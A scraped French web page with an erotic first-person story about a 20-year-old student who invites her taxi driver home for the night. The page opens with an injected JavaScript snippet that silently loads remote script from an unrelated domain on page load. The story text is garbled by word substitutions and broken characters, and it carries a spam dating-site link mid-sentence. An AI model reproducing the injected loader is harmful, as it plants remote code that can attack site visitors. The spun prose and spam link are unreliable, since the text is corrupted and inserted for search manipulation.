;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Podcast – C’est notre histoire : « Ma nuit avec un taxi driver » – Eydís — Ljósmyndun

Podcast – C’est notre histoire : « Ma nuit avec un taxi driver »

Podcast – C’est notre histoire : « Ma nuit avec un taxi driver »

Par une jolie soiree d’hiver, Adele, 20 annees, etudiante, s’offre 1 taxi pour rentrer chez i§a.

Une folie ! Qu’elle ne regrettera pas, loin de la.

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« Euh, excusez-moi, vous voulez monter ? » C’est sorti tout seul ma bouche. Pas une seconde, je ne pense aux consequences de cette invitation. Tout ce que je sais, c’est que j’ai envie de perdre la nuit avec l’homme qui se degote i  ci?te de moi. Que je veux qu’il vienne i  la maison et qu’il pose ses levres sur les miennes. La, dorenavant, tout de suite. L’inconnu au volant de le taxi semble d’abord interloque via la proposition. Cela ne repond rien. Puis 1 leger sourire nait via son visage. « Eh bien oui, par exemple, finit-il par me penser, avant d’ajouter : je gare la voiture et j’arrive. »

Je le regarde redemarrer, stupefaite de ma propre audace. Je ne suis pas vraiment le genre de fille a ramener n’importe qui chez moi. Je viens d’avoir 20 ans et j’ai perdu ma virginite deux annees auparavant, avec un garcon legerement plus age. J’ai ensuite enchaine certains tentatives d’histoire d’amour mais rien de tres marquant. Alors que l’annee s’acheve, j’ai hate de vivre de nouvelles experiences sans pour autant oser Realiser le premier nullement.

Ce mardi jour avait commence de maniere tres banale. Un apero avec ma bande de potes une fac de lettres. Quelques canettes de biere, Plusieurs cigarettes roulees et de grandes discussions politiques. Moyennement le chantier ideal Afin de croiser l’homme de ma vie. J’ai beaucoup tente de convaincre faire mes amis d’aller danser dans des bars mais pas grand chose a faire. Au bout de quelques verres, J’me resigne et je laisse filer les heures a refaire l’univers en petit comite. Vers 3 ou 4 heures du matin, je me rends compte que je suis censee aller a la fac le lendemain et que celui-ci faudrait que je dorme un tantinet. Je fais vite le calcul du budget d’etudiante et j’annonce triomphalement que, ce apri?m, je joue les princesses : je vais rentrer en taxi ! Titubant legerement sous l’effet de l’alcool, j’agite la main tel au sein des films en direction d’la rue et, quelques minutes plus tard, 1 taxi s’arrete pres de moi. De l’interieur de l’imposant automobile noir s’echappent quelques notes feutrees de jazz. Je prends place a l’arriere et felicite le chauffeur pour la specialite d’la musique apres lui avoir donne mon adresse. Il sourit en retour sans rien dire et se met a rouler dans la nuit. Il fera tres froid, mais J’me sens soudain incroyablement heureuse, comme si tout est possible. Comme si j’etais enfin devenue une adulte, a rentrer en taxi beaucoup apres minuit. Dans le retroviseur, le chauffeur et moi echangeons un regard, puis 2. Cela a de grands yeux bleus qui me fixent sans ciller. Il devisage comme s’il comprenait exactement votre que je ressentais. Legerement troublee, je me detourne et me concentre sur le paysage nocturne des quais parisiens qui defilent.

« A aucun moment, nous ne nous sommes demande nos prenoms, nos ages. Cela ne fallait jamais rompre le charme. »

Une nuit parfaite.

« Mademoiselle, voulez-vous une cigarette ? » La voix du chauffeur reste i  fond, ses intonations paraissent elegantes. Je murmure votre oui amuse et le laisse fouiller dans la boite a gants d’ou il sort un paquet de mentholees et un briquet. Nous ne disons ensuite plus un mot, fumant en ecoutant ces morceaux de jazz que je ne connais gui?re, mais qui se gravent dans la memoire. Je ne vois que le dos et le profil du chauffeur mais je devine un visage aux traits fins, une chemise bleue retroussee aux manches. A l’interieur du taxi, une legere tension monte, que je ne parviens nullement a identifier vraiment. Tres vite, nombre trop vite, nous arrivons devant i  la maison. Je regle la course et sors a regret du vehicule. Ce moment hors un moment s’apprete a devenir un vague souvenir. Mais, au moment de composer mon code, je m’apercois que le taxi reste i  chaque fois la. Comme lorsqu’il attendait que je sois bien rentree Afin de disparaitre dans la nuit. Je m’approche pour le remercier, ainsi, Notre phrase m’echappe alors, presque malgre moi : « Euh, excusez-moi, vous voulez monter ? »

Tandis que le chauffeur gare sa voiture a deux metres de mon immeuble, ma respiration s’accelere. Est-ce vraiment raisonnable de laisser entrer i  la maison 1 inconnu, obligee de avoir dix ans de plus que moi ? Mais, lorsque le chauffeur revient et qu’il me sourit timidement, mon coeur chavire et J’me dis que je dois ecouter mon instinct et lui faire confiance. Nous montons en silence mes cinq etages. Je vis dans un studio d’etudiante parisienne http://datingmentor.org/fr/three-day-rule-review/ typique : 1 canape-lit que j’ai toujours la flemme de replier, des bouquins qui trainent partout et une mini-kitchenette. Dix-sept metres carres qui representent notre independance toute neuve, et ou je viens de ramener cet homme. Nous nous retrouvons l’un i  ci?te de l’autre, un peu embarrasses. Cela nous faudra quelques grandes minutes avant de nous decider a nous embrasser. Le contact de l’ensemble de ses levres reste doux et sensuel, je sens le desir monter en moi par vagues. Je lui enleve sa chemise, il semble intimide, tel si c’etait moi et non lui qui avais le plus d’experience. Nous faisons l’amour en silence, en echangeant des regards complices dans la penombre, comme amuses via l’incongruite une situation.

. avec votre bon inconnu.

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